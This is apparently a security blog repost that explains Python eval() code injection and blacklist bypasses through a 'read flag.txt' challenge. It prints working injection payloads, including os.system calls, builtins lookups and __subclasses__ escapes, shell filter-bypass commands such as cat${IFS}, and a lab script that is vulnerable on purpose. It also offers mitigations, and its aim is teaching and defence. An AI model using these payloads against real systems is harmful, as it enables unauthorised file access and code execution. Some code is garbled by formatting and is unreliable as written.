Listen to this Post

Introduction:
The classic security blunder of combining a blacklist filter with Python’s eval() function creates a dangerous code injection vulnerability. Attackers can trivially bypass blacklists—even those blocking directory traversal (../) or command keywords—by using string concatenation, alternate encodings, or built‑in functions. This article dissects the “read flag.txt” challenge, demonstrates live bypass techniques, and provides hardened coding practices to eliminate eval() from production systems.
Learning Objectives:
- Understand how eval() enables arbitrary code execution and why blacklists are insufficient defenses.
- Learn multiple blacklist bypass techniques including string concatenation, f‑strings, and built‑in function abuse.
- Implement secure alternatives like ast.literal_eval() and allowlist‑based validation in Python.
You Should Know:
- The Vulnerability: Blacklist + eval() = Code Injection
The vulnerable code typically looks like this:
import re
user_input = input("Enter payload: ")
if re.search(r"../", user_input): blacklist only blocks "../"
print("Bad characters!")
else:
result = eval(user_input) DANGER: executes arbitrary Python
print("Result:", result)
The developer mistakenly believes blocking `../` prevents file access, but `eval()` can execute any Python expression. An attacker supplies `open(‘flag.txt’).read()` – no slashes needed. Even if the blacklist is expanded to block open, file, read, etc., simple obfuscation defeats it.
Step‑by‑step exploitation:
- Target: read a file named `flag.txt` in the current directory.
- Basic payload: `open(‘flag.txt’).read()`
– If `open` is blacklisted, use `__builtins__.open` or `().__class__.__bases__.__subclasses__()` to find file‑reading classes.</li> <li>Execute system commands: `__import__('os').system('cat flag.txt')` Linux command to read flag.txt (if system shell is accessible): [bash] cat flag.txt
Windows equivalent:
type flag.txt
PowerShell:
Get-Content flag.txt
2. Bypassing Blacklists with String Obfuscation
Blacklists are reactive and easily circumvented. Common bypass techniques include:
- String concatenation: `’c’+’a’+’t’+’ ‘+’fl’+’a’+’g.txt’` – the blacklist checks the raw input, not the evaluated result.
- Using f‑strings: `f'{chr(99)}at flag.txt’` – `chr(99)` produces
'c'. - Base64 encoding:
<strong>import</strong>('base64').b64decode('Y2F0IGZsYWcudHh0').decode()
Then feed that to `eval()` or `os.system()`.
- Quoting inside quotes: `”c’at’ flag.txt”` – the single quotes break keyword detection.
Example payload for a blacklist blocking “cat”, “open”, “read”:
getattr(<strong>builtins</strong>, 'op'+'en')('flag.txt').read()
This dynamically constructs the string `’open’` using concatenation, bypassing simple substring checks.
Mitigation: Never rely on blacklists. Use an allowlist of permitted inputs or, better, avoid `eval()` entirely.
3. Code Injection Mitigation: Secure Alternatives to eval()
The only reliable fix is to refactor the code so that `eval()` is unnecessary. Here are proven strategies:
Use `ast.literal_eval()` for literals:
import ast
user_input = input("Enter a number or string: ")
try:
result = ast.literal_eval(user_input) Only parses literals (numbers, strings, tuples, etc.)
print(result)
except (ValueError, SyntaxError):
print("Invalid input")
`literal_eval()` cannot execute functions, methods, or expressions, making it safe for configuration parsing.
Implement an allowlist:
ALLOWED_FUNCTIONS = {
'add': lambda x, y: x + y,
'mul': lambda x, y: x y
}
user_input = input("Enter function name and args: ").split()
func_name = user_input[bash]
if func_name in ALLOWED_FUNCTIONS:
args = list(map(int, user_input[1:]))
print(ALLOWED_FUNCTIONS<a href="args">func_name</a>)
else:
print("Function not allowed")
Use a proper expression parser (e.g., `simpleeval` library):
from simpleeval import simple_eval result = simple_eval(user_input) Safer than eval, but still limited
4. Hands‑on Lab: Simulating the Vulnerable Environment
Create a lab to practice bypassing blacklist + eval().
Setup (Linux):
echo "FLAG{you_found_me}" > flag.txt
cat > vulnerable.py << 'EOF'
import re
print("Enter payload to read flag.txt (blacklist blocks '../'):")
user_input = input("> ")
if re.search(r"../", user_input):
print("Blocked: directory traversal detected.")
else:
try:
result = eval(user_input)
print("Output:", result)
except Exception as e:
print("Error:", e)
EOF
python3 vulnerable.py
Test payloads:
– `open(‘flag.txt’).read()`
– `__import__(‘os’).system(‘cat flag.txt’)` (if you want shell output)
– `getattr(__builtins__, ‘op’+’en’)(‘flag.txt’).read()`
– `”.join([chr(102) for _ in range(1)])` – just to prove code execution
Windows lab (PowerShell with Python):
Same code works. To read flag.txt natively:
type flag.txt
Or via Python one‑liner:
python -c "print(open('flag.txt').read())"
- Real‑World Impact: RCE via eval() in Web Applications
`eval()` vulnerabilities have led to remote code execution (RCE) in production systems:
- CVE‑2022‑39227 (python‑jwt): `eval()` usage allowed attackers to bypass signature validation.
- CVE‑2021‑32839 (Flask‑Admin): Improper use of `eval()` in form handling led to RCE.
- Many CTF challenges and bug bounty reports show that `eval()` in JSON parsers, calculators, or template engines is a goldmine for attackers.
Attack flow:
- Attacker finds a parameter passed to `eval()` (e.g.,
?expr=2+2). - Blacklist filters
open,system, `import` – but bypasses exist. - Attacker executes `().__class__.__bases__
.__subclasses__()` to find `os._wrap_close` and call <code>system()</code>.</li> </ol> <h2 style="color: yellow;">4. Full server compromise, data exfiltration, or ransomware.</h2> Cloud hardening tip: In serverless (AWS Lambda, Azure Functions) or containerised environments, never use `eval()` on user input. Apply strict IAM roles and network policies to limit blast radius, but the root fix is code‑level. <ol> <li>Linux/Windows Commands for File Reading (Bypassing Restricted Shells)</li> </ol> Even if `eval()` is not present, penetration testers often need to read files under restricted conditions. Here are commands that bypass common character blacklists. <h2 style="color: yellow;">Linux (Bypassing `/`, space, or letter filters):</h2> [bash] Using wildcards cat fl if only one file starts with "fl" Using IFS (Internal Field Separator) to replace spaces cat${IFS}flag.txt Using hex encoding xxd -r -p <<< 666c61672e747874 prints "flag.txt" then use with cat Using command substitution cat `ls | grep flag`Windows CMD (bypassing space, period):
type flag.txt type flag???txt more < flag.txt
PowerShell (bypassing `Get-Content` blacklist):
gc .\flag.txt cat .\flag.txt (Get-Item flag.txt).OpenText().ReadToEnd()
These techniques are useful when exploiting command injection vulnerabilities, not just
eval().- Secure Coding for AI/ML Applications Using Dynamic Code
AI systems often dynamically generate or execute code – for example, LLM‑based agents writing and running Python snippets. This introduces
eval()‑like risks.Best practices:
- Use sandboxed execution environments (Docker, gVisor, WebAssembly) with no network access.
- Restrict Python builtins via `safe_globals = {‘__builtins__’: {}}` and then
eval(code, safe_globals, safe_locals). - Employ static analysis to scan for
eval(),exec(), `compile()` before deployment. - For AI‑generated code, use a human‑in‑the‑loop approval step or run only in isolated test harnesses.
Example of restricted `eval()` (still risky but better):
safe_dict = {'<strong>builtins</strong>': {'len': len, 'range': range, 'print': print}} result = eval(user_code, safe_dict, {})Even then, an attacker might escape via
().__class__.__bases__. The only safe amount of `eval()` is zero.What Undercode Say:
- Key Takeaway 1: `eval()` is fundamentally dangerous with untrusted input – blacklists provide a false sense of security and are bypassable in seconds.
- Key Takeaway 2: Always replace `eval()` with `ast.literal_eval()` or allowlist‑based parsers. If dynamic code execution is unavoidable, use strict sandboxing and never on user‑supplied strings.
- Analysis: The “read flag.txt” challenge is a microcosm of a systemic issue: developers prioritize convenience over security. The comment by Mihir Shishulkar correctly identifies that blacklist + `eval()` is a code injection vulnerability, not a filter bypass challenge. The payload `c’a’t fl’a’g.txt` works because the blacklist checks raw input for the literal string
'cat', but the concatenated form `’c’+’a’+’t’` evaluates to `’cat’` after the check. This highlights that input validation must happen on the parsed or canonicalized input, not the raw string. For defenders, the lesson is clear: avoid `eval()` entirely, and when processing untrusted data, treat every input as malicious.
Prediction:
As AI‑generated code becomes more prevalent, the use of `eval()` and `exec()` inside LLM pipelines will increase, leading to a new class of prompt‑injection‑to‑code‑execution attacks. Attackers will craft inputs that manipulate LLMs into generating
eval()‑based payloads, bypassing both blacklist filters and semantic safety checks. The industry will respond with AI‑aware sandboxes, formal verification of generated code, and a push toward declarative configuration languages (JSON, YAML, TOML) over executable code. Until then, every `eval()` is a ticking time bomb – and “just blacklisting a few keywords” is like locking your front door but leaving the window wide open.▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Can You – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:


